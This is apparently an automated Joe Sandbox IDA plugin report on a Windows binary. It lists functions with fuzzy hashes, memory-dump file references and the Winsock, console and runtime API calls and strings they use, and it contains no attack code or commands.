Instruction ID: 15f9860e0f6da3be28dc5283d0ca38fd78bcac11fcd9e01cc70e64445ed3b219
Opcode Fuzzy Hash: fb59345376e873577708a0ebfd80bf754789f3bb26771381581266b733c645cc
Instruction Fuzzy Hash: 04A16156D2CFC651E3035638A003165A320AFB75D4E10D73BFED2F5A73DB127A85AA22

Function 00007FF6668E9550 Relevance: .2, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1358633550.00007FF6667F1000.00000040.00000001.01000000.00000004.sdmp, Offset: 00007FF6667F0000, based on PE: true

Associated: 00000004.00000002.1358618951.00007FF6667F0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF66693B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF666BCB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF666BDD000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1359054168.00007FF666BDF000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1359075330.00007FF666BE1000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6667f0000_xIpouRJ.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fb59345376e873577708a0ebfd80bf754789f3bb26771381581266b733c645cc
Instruction ID: b63b295f9726397f9a3e694bc81bf22fe8936196d4b2e92a20433f4fcd477c9f
Opcode Fuzzy Hash: fb59345376e873577708a0ebfd80bf754789f3bb26771381581266b733c645cc
Instruction Fuzzy Hash: BBA16156D1CFC651E3035638A003165A320AFB75D4E10D73BFED2F4673DB127A85AA22

Function 00007FF6668EED80 Relevance: .2, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1358633550.00007FF6667F1000.00000040.00000001.01000000.00000004.sdmp, Offset: 00007FF6667F0000, based on PE: true

Associated: 00000004.00000002.1358618951.00007FF6667F0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF66693B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF666BCB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF666BDD000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1359054168.00007FF666BDF000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1359075330.00007FF666BE1000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6667f0000_xIpouRJ.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fb59345376e873577708a0ebfd80bf754789f3bb26771381581266b733c645cc
Instruction ID: d640078b27972c00eceb94658305059c026afc9379d3260de4abcea1fa6fcd0e
Opcode Fuzzy Hash: fb59345376e873577708a0ebfd80bf754789f3bb26771381581266b733c645cc
Instruction Fuzzy Hash: 09A16156D1CFC651E3035638A003165A320AFB75D4E10D73BFED2F4673DB127A85AA22

Function 00007FF6668F6340 Relevance: .2, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1358633550.00007FF6667F1000.00000040.00000001.01000000.00000004.sdmp, Offset: 00007FF6667F0000, based on PE: true

Associated: 00000004.00000002.1358618951.00007FF6667F0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF66693B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF666BCB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF666BDD000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1359054168.00007FF666BDF000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1359075330.00007FF666BE1000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6667f0000_xIpouRJ.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fb59345376e873577708a0ebfd80bf754789f3bb26771381581266b733c645cc
Instruction ID: b67091698c108ae5baa32f20a64fd658f36e910055c681c3c203795309c268d8
Opcode Fuzzy Hash: fb59345376e873577708a0ebfd80bf754789f3bb26771381581266b733c645cc
Instruction Fuzzy Hash: 60A16156D1CFC651E3035638A003165A320AFB75D4E10D73BFED2F4677DB127A85AA22

Function 00007FF666837010 Relevance: .2, Instructions: 216COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1358633550.00007FF6667F1000.00000040.00000001.01000000.00000004.sdmp, Offset: 00007FF6667F0000, based on PE: true

Associated: 00000004.00000002.1358618951.00007FF6667F0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF66693B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF666BCB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF666BDD000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1359054168.00007FF666BDF000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1359075330.00007FF666BE1000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6667f0000_xIpouRJ.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 173bd45bd6205168345063cd576cbe9ab1068609162775f14a0185bc1da9eb9b
Instruction ID: 85c34013e90bdc16865f6a7e514d281b7ac5393fa20b99267f839cbf0bb4b9a6
Opcode Fuzzy Hash: 173bd45bd6205168345063cd576cbe9ab1068609162775f14a0185bc1da9eb9b
Instruction Fuzzy Hash: 7A91A273A24BC582DB20DB35E41119E6760FB99BC4F45932AEE8DAB709DF3DE1858700

Function 00007FF666826D90 Relevance: .2, Instructions: 188COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1358633550.00007FF6667F1000.00000040.00000001.01000000.00000004.sdmp, Offset: 00007FF6667F0000, based on PE: true

Associated: 00000004.00000002.1358618951.00007FF6667F0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF66693B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF666BCB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF666BDD000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1359054168.00007FF666BDF000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1359075330.00007FF666BE1000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6667f0000_xIpouRJ.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 92566d2bcf0b1aeda736b64224d0ef9b68d0c1cc57c41582768124ce3b22117e
Instruction ID: 4c972c7d2390950be6cf1c7d0e042aa1e9318ae0a38a1eb58d5a5f7939344dcb
Opcode Fuzzy Hash: 92566d2bcf0b1aeda736b64224d0ef9b68d0c1cc57c41582768124ce3b22117e
Instruction Fuzzy Hash: 7281F232A24B9585D7119F25F86466A33B0F789B84F46823ADF8D57B08DF3DE041CB50

Function 00007FF6668DD0F0 Relevance: .2, Instructions: 167COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1358633550.00007FF6667F1000.00000040.00000001.01000000.00000004.sdmp, Offset: 00007FF6667F0000, based on PE: true

Associated: 00000004.00000002.1358618951.00007FF6667F0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF66693B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF666BCB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF666BDD000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1359054168.00007FF666BDF000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1359075330.00007FF666BE1000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6667f0000_xIpouRJ.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ed4b1bf315c09e72ffe736c92268bc3433ca629ba42e272c7bacd1d278d2527a
Instruction ID: c3ac9414540db1a83f2c9dd34dc5b86754170e117bf32ec71aa30d7a5dd540db
Opcode Fuzzy Hash: ed4b1bf315c09e72ffe736c92268bc3433ca629ba42e272c7bacd1d278d2527a
Instruction Fuzzy Hash: 2371532721D2D08EC365CF79A4400AEBFB0E366B44B48915AEBD58BB4BC61CE645CF71

Function 00007FF6668FF910 Relevance: .2, Instructions: 163COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1358633550.00007FF6667F1000.00000040.00000001.01000000.00000004.sdmp, Offset: 00007FF6667F0000, based on PE: true

Associated: 00000004.00000002.1358618951.00007FF6667F0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF66693B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF666BCB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF666BDD000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1359054168.00007FF666BDF000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1359075330.00007FF666BE1000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6667f0000_xIpouRJ.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fd9898920dad0f3941a85cda36be676efa6df9172adcab5737187ffdc7b1f232
Instruction ID: 2b62a29810a478a730649e38126479c928b18e8d91bac41df737a1ec57cc7cd6
Opcode Fuzzy Hash: fd9898920dad0f3941a85cda36be676efa6df9172adcab5737187ffdc7b1f232
Instruction Fuzzy Hash: 62816A23E18BC582E221CB38E4417F96760F7E9788F15E725DFC866A46EF29D285C700

Function 00007FF6668E3740 Relevance: .1, Instructions: 145COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1358633550.00007FF6667F1000.00000040.00000001.01000000.00000004.sdmp, Offset: 00007FF6667F0000, based on PE: true

Associated: 00000004.00000002.1358618951.00007FF6667F0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF66693B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF666BCB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF666BDD000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1359054168.00007FF666BDF000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1359075330.00007FF666BE1000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6667f0000_xIpouRJ.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c1d6879ea3eaa8222d77fadfb9666d2f21f09ce8392fec7440a3a513989e522d
Instruction ID: 2b3e4435aba34e2f8729e9d44c7f25608b0621fb4a678ffa1dcbcea251369ef5
Opcode Fuzzy Hash: c1d6879ea3eaa8222d77fadfb9666d2f21f09ce8392fec7440a3a513989e522d
Instruction Fuzzy Hash: 5D411CD2A34AF507D317413D28125799ED0CED3786780E32AF9F5BAB92D709E252A350

Function 00007FF666826B80 Relevance: .1, Instructions: 117COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1358633550.00007FF6667F1000.00000040.00000001.01000000.00000004.sdmp, Offset: 00007FF6667F0000, based on PE: true

Associated: 00000004.00000002.1358618951.00007FF6667F0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF66693B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF666BCB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF666BDD000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1359054168.00007FF666BDF000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1359075330.00007FF666BE1000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6667f0000_xIpouRJ.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eaa78e18ab6cbffb7bf75b126550a495e18af9e3204d7f4300a9ec8782ffc41d
Instruction ID: 6db5d1a0f6eabaaa19d421382f0030c2783d06401086f3a61f2711ef99155b33
Opcode Fuzzy Hash: eaa78e18ab6cbffb7bf75b126550a495e18af9e3204d7f4300a9ec8782ffc41d
Instruction Fuzzy Hash: 9741B222A24BC5C1DB209B36E85129D63A0FBD9B84F459236DE8D9B709DF39D184CB40

Function 00007FF66680C770 Relevance: .1, Instructions: 116COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1358633550.00007FF6667F1000.00000040.00000001.01000000.00000004.sdmp, Offset: 00007FF6667F0000, based on PE: true

Associated: 00000004.00000002.1358618951.00007FF6667F0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF66693B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF666BCB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF666BDD000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1359054168.00007FF666BDF000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1359075330.00007FF666BE1000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6667f0000_xIpouRJ.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e4f41b6f95db1ce2075a0d26e790e4605aa2272fee09533bcfa10ee1a7409207
Instruction ID: a298083a9197c32195d048843888e41aeb8a892c1907e1b711160a7a6b049b8a
Opcode Fuzzy Hash: e4f41b6f95db1ce2075a0d26e790e4605aa2272fee09533bcfa10ee1a7409207
Instruction Fuzzy Hash: CE419022A24FC5C1EB209F35E81129963A0FBD9B84F45923ADE8D9B709DF39D145CB40

Function 00007FF666860660 Relevance: 38.6, APIs: 17, Strings: 5, Instructions: 143
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

htons.WS2_32 ref: 00007FF666860693

Part of subcall function 00007FF6668578D0: htons.WS2_32 ref: 00007FF666857911

GetSystemMetrics.USER32 ref: 00007FF6668606DB
WSAStartup.WS2_32 ref: 00007FF6668606F7
socket.WS2_32 ref: 00007FF666860719
getsockopt.WS2_32 ref: 00007FF66686074D
closesocket.WS2_32 ref: 00007FF666860776
WSAGetLastError.WS2_32 ref: 00007FF666860787
socket.WS2_32 ref: 00007FF6668607B7
getsockopt.WS2_32 ref: 00007FF6668607EB
closesocket.WS2_32 ref: 00007FF666860814
WSAGetLastError.WS2_32 ref: 00007FF666860825
WSAGetLastError.WS2_32 ref: 00007FF66686087C
WSAGetLastError.WS2_32 ref: 00007FF666860891
WSAGetLastError.WS2_32 ref: 00007FF6668608A6
WSAGetLastError.WS2_32 ref: 00007FF6668608BB
WSAGetLastError.WS2_32 ref: 00007FF6668608D0
WSAGetLastError.WS2_32 ref: 00007FF6668608E5

Strings

getsockopt, xrefs: 00007FF666860884, 00007FF6668608AE
WSAStartup, xrefs: 00007FF66686086D
closesocket, xrefs: 00007FF666860899, 00007FF6668608C3
socket, xrefs: 00007FF6668608D8, 00007FF6668608ED
0.0.0.0, xrefs: 00007FF6668606A7

Memory Dump Source

Source File: 00000004.00000002.1358633550.00007FF6667F1000.00000040.00000001.01000000.00000004.sdmp, Offset: 00007FF6667F0000, based on PE: true

Associated: 00000004.00000002.1358618951.00007FF6667F0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF66693B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF666BCB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF666BDD000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1359054168.00007FF666BDF000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1359075330.00007FF666BE1000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6667f0000_xIpouRJ.jbxd

Yara matches

Similarity

API ID: ErrorLast$closesocketgetsockopthtonssocket$MetricsStartupSystem
String ID: 0.0.0.0$WSAStartup$closesocket$getsockopt$socket
API String ID: 2078458200-3209558297
Opcode ID: bb3c78afea64cebc9314613af54f083968d3877b040580a4c37396af5ac2b90b
Instruction ID: 36d8aff35a24e5df8205dcc67a8342893c2bec2f9210b9f4cc71541bab8a11ba
Opcode Fuzzy Hash: bb3c78afea64cebc9314613af54f083968d3877b040580a4c37396af5ac2b90b
Instruction Fuzzy Hash: ED616C60A2C643C6F7509B35F84827922B1BF44754F500739E96ECE6E6EF3EA8548F84

Function 00007FF666854E30 Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 138
keyboardfilesynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteConsoleInputW.KERNEL32 ref: 00007FF666854EC8
GetLastError.KERNEL32 ref: 00007FF666854ED6
WaitForSingleObject.KERNEL32 ref: 00007FF666854EF9
ReleaseSemaphore.KERNEL32 ref: 00007FF666854F24
CreateFileA.KERNEL32 ref: 00007FF666854F6F
GetConsoleScreenBufferInfo.KERNEL32 ref: 00007FF666854F88
MapVirtualKeyW.USER32 ref: 00007FF666854FBB
WriteConsoleInputW.KERNEL32 ref: 00007FF666854FE4
GetLastError.KERNEL32 ref: 00007FF666854FF6
CloseHandle.KERNEL32 ref: 00007FF666855007

Strings

conout$, xrefs: 00007FF666854F47

Memory Dump Source

Source File: 00000004.00000002.1358633550.00007FF6667F1000.00000040.00000001.01000000.00000004.sdmp, Offset: 00007FF6667F0000, based on PE: true

Associated: 00000004.00000002.1358618951.00007FF6667F0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF66693B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF666BCB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF666BDD000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1359054168.00007FF666BDF000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1359075330.00007FF666BE1000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6667f0000_xIpouRJ.jbxd

Yara matches

Similarity

API ID: Console$ErrorInputLastWrite$BufferCloseCreateFileHandleInfoObjectReleaseScreenSemaphoreSingleVirtualWait
String ID: conout$
API String ID: 912171342-3200116840
Opcode ID: 5b45cc10fc7f638ba96823d43f92284610f21edd766c5b78f82aa79f2e66741d
Instruction ID: 159d3530d56bfe02a876c2e3db30356870fc75a8cbcd846c8a1c6fb0a9851025
Opcode Fuzzy Hash: 5b45cc10fc7f638ba96823d43f92284610f21edd766c5b78f82aa79f2e66741d
Instruction Fuzzy Hash: 2251A032A18782C6E7908B35F44436973B1FB94B64F10423ADA6E8F6A5DF3EE4548F50

Function 00007FF6668D7430 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 95
synchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlEnterCriticalSection.NTDLL ref: 00007FF6668D746F
WaitForSingleObject.KERNEL32 ref: 00007FF6668D7485
RtlLeaveCriticalSection.NTDLL ref: 00007FF6668D7497
RtlEnterCriticalSection.NTDLL ref: 00007FF6668D74C0
ReleaseSemaphore.KERNEL32 ref: 00007FF6668D74DD
RtlLeaveCriticalSection.NTDLL ref: 00007FF6668D74EE
GetLastError.KERNEL32 ref: 00007FF6668D750C

Part of subcall function 00007FF66685EE80: FormatMessageA.KERNEL32 ref: 00007FF66685EEBE
Part of subcall function 00007FF66685EE80: LocalFree.KERNEL32 ref: 00007FF66685EF1E
Part of subcall function 00007FF66685EE80: DebugBreak.KERNEL32 ref: 00007FF66685EF24

GetLastError.KERNEL32 ref: 00007FF6668D7521

Strings

ReleaseSemaphore, xrefs: 00007FF6668D7514
WaitForSingleObject, xrefs: 00007FF6668D7529

Memory Dump Source

Source File: 00000004.00000002.1358633550.00007FF6667F1000.00000040.00000001.01000000.00000004.sdmp, Offset: 00007FF6667F0000, based on PE: true

Associated: 00000004.00000002.1358618951.00007FF6667F0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF66693B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF666BCB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF666BDD000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1359054168.00007FF666BDF000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1359075330.00007FF666BE1000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6667f0000_xIpouRJ.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterErrorLastLeave$BreakDebugFormatFreeLocalMessageObjectReleaseSemaphoreSingleWait
String ID: ReleaseSemaphore$WaitForSingleObject
API String ID: 1615886272-4124537571
Opcode ID: 5abe4ef1ac934d90f26fc3bd26d07d7fae869eff7fafc7398010a0e06846960e
Instruction ID: 813bbb17d90efddbdebed286ef8407533865beb0b536176e7d6d1bca93fad8b6
Opcode Fuzzy Hash: 5abe4ef1ac934d90f26fc3bd26d07d7fae869eff7fafc7398010a0e06846960e
Instruction Fuzzy Hash: 0B415E31A08A42C2EB109F34F8402B96371FF54B64F444739DA6D8E6EADF6EE845CB50

Function 00007FF66685EE80 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 43windowCOMMON

Download Yara Rule

APIs

FormatMessageA.KERNEL32 ref: 00007FF66685EEBE
LocalFree.KERNEL32 ref: 00007FF66685EF1E
DebugBreak.KERNEL32 ref: 00007FF66685EF24

Strings

(%d) %s, xrefs: 00007FF66685EF05
%s: (%d) %s, xrefs: 00007FF66685EEF4
Unknown error, xrefs: 00007FF66685EEC9

Memory Dump Source

Source File: 00000004.00000002.1358633550.00007FF6667F1000.00000040.00000001.01000000.00000004.sdmp, Offset: 00007FF6667F0000, based on PE: true

Associated: 00000004.00000002.1358618951.00007FF6667F0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF66693B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF666BCB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF666BDD000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1359054168.00007FF666BDF000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1359075330.00007FF666BE1000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6667f0000_xIpouRJ.jbxd

Yara matches

Similarity

API ID: BreakDebugFormatFreeLocalMessage
String ID: %s: (%d) %s$(%d) %s$Unknown error
API String ID: 293130274-553079175
Opcode ID: 78c3e507f777ec11cf7b70b08fe3189cc53d63bc3deee8493cc11346b578ded8
Instruction ID: 5e1b5828577723c0ea783a9598fd788d67f72db7c040dfb9bb4321b46c944456
Opcode Fuzzy Hash: 78c3e507f777ec11cf7b70b08fe3189cc53d63bc3deee8493cc11346b578ded8
Instruction Fuzzy Hash: 4E119E31A19B42C1EA549B21F854669ABB4FF88BC4F444239E98DCFB66DF7DD4018F40

Function 00007FF666853EB0 Relevance: 9.3, APIs: 6, Instructions: 331COMMON

Download Yara Rule

APIs

GetNumberOfConsoleInputEvents.KERNEL32 ref: 00007FF666853F2C
GetLastError.KERNEL32 ref: 00007FF666853F60

Memory Dump Source

Source File: 00000004.00000002.1358633550.00007FF6667F1000.00000040.00000001.01000000.00000004.sdmp, Offset: 00007FF6667F0000, based on PE: true

Associated: 00000004.00000002.1358618951.00007FF6667F0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF66693B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF666BCB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF666BDD000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1359054168.00007FF666BDF000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1359075330.00007FF666BE1000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6667f0000_xIpouRJ.jbxd

Yara matches

Similarity

API ID: ConsoleErrorEventsInputLastNumber
String ID:
API String ID: 3553264647-0
Opcode ID: 070c0833f49c170462fadbaf77631171d275e98b6f0786176fc8c38d8d2bdb63
Instruction ID: 8f42396376a4e29b76cc68caa80eddd360a0a82f3beccf4d34613e5ac625e7c1
Opcode Fuzzy Hash: 070c0833f49c170462fadbaf77631171d275e98b6f0786176fc8c38d8d2bdb63
Instruction Fuzzy Hash: F6E1E476A08682D7EBA85B35E1443F963B1FB50744F404039EB4A8F6D4DF3EA8B58B11

Function 00007FF666806630 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 93COMMON

Download Yara Rule

APIs

std::locale::_Init.LIBCPMT ref: 00007FF66680668A

Part of subcall function 00007FF66687AAF8: std::_Lockit::_Lockit.LIBCPMT ref: 00007FF66687AB16
Part of subcall function 00007FF66687AAF8: std::locale::_Locimp::_New_Locimp.LIBCPMT ref: 00007FF66687AB2A
Part of subcall function 00007FF66687AAF8: std::locale::_Setgloballocale.LIBCPMT ref: 00007FF66687AB35
Part of subcall function 00007FF66687AAF8: std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF66687AB91

Part of subcall function 00007FF666806A50: std::_Lockit::_Lockit.LIBCPMT ref: 00007FF666806A73
Part of subcall function 00007FF666806A50: std::_Lockit::_Lockit.LIBCPMT ref: 00007FF666806A96
Part of subcall function 00007FF666806A50: std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF666806AC3
Part of subcall function 00007FF666806A50: std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF666806BB7

_CxxThrowException.LIBVCRUNTIME ref: 00007FF666806760

Strings

ios_base::eofbit set, xrefs: 00007FF66680672F
ios_base::badbit set, xrefs: 00007FF66680671D
ios_base::failbit set, xrefs: 00007FF666806728

Memory Dump Source

Source File: 00000004.00000002.1358633550.00007FF6667F1000.00000040.00000001.01000000.00000004.sdmp, Offset: 00007FF6667F0000, based on PE: true

Associated: 00000004.00000002.1358618951.00007FF6667F0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF66693B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF666BCB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF666BDD000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1359054168.00007FF666BDF000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1359075330.00007FF666BE1000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6667f0000_xIpouRJ.jbxd

Yara matches

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_std::locale::_$ExceptionInitLocimpLocimp::_New_SetgloballocaleThrow
String ID: ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set
API String ID: 1801055753-1866435925
Opcode ID: fe3816ba4fc422067e9617b452a1d6fdf6350153b9fb4cc6507e69068a732014
Instruction ID: 32171df6bc38ffb1573cd184d2f9886ba77b22383e12a0529b87b009ac548714
Opcode Fuzzy Hash: fe3816ba4fc422067e9617b452a1d6fdf6350153b9fb4cc6507e69068a732014
Instruction Fuzzy Hash: FC316A32504B45C6DB208F25F44029977B0FB54F88F584639DB9E8B7A1DF3AE496C750

Function 00007FF6668A78F0 Relevance: 7.7, APIs: 5, Instructions: 203COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6668A7931
GetConsoleMode.KERNEL32 ref: 00007FF6668A79F0
GetLastError.KERNEL32 ref: 00007FF6668A7A70

Memory Dump Source

Source File: 00000004.00000002.1358633550.00007FF6667F1000.00000040.00000001.01000000.00000004.sdmp, Offset: 00007FF6667F0000, based on PE: true

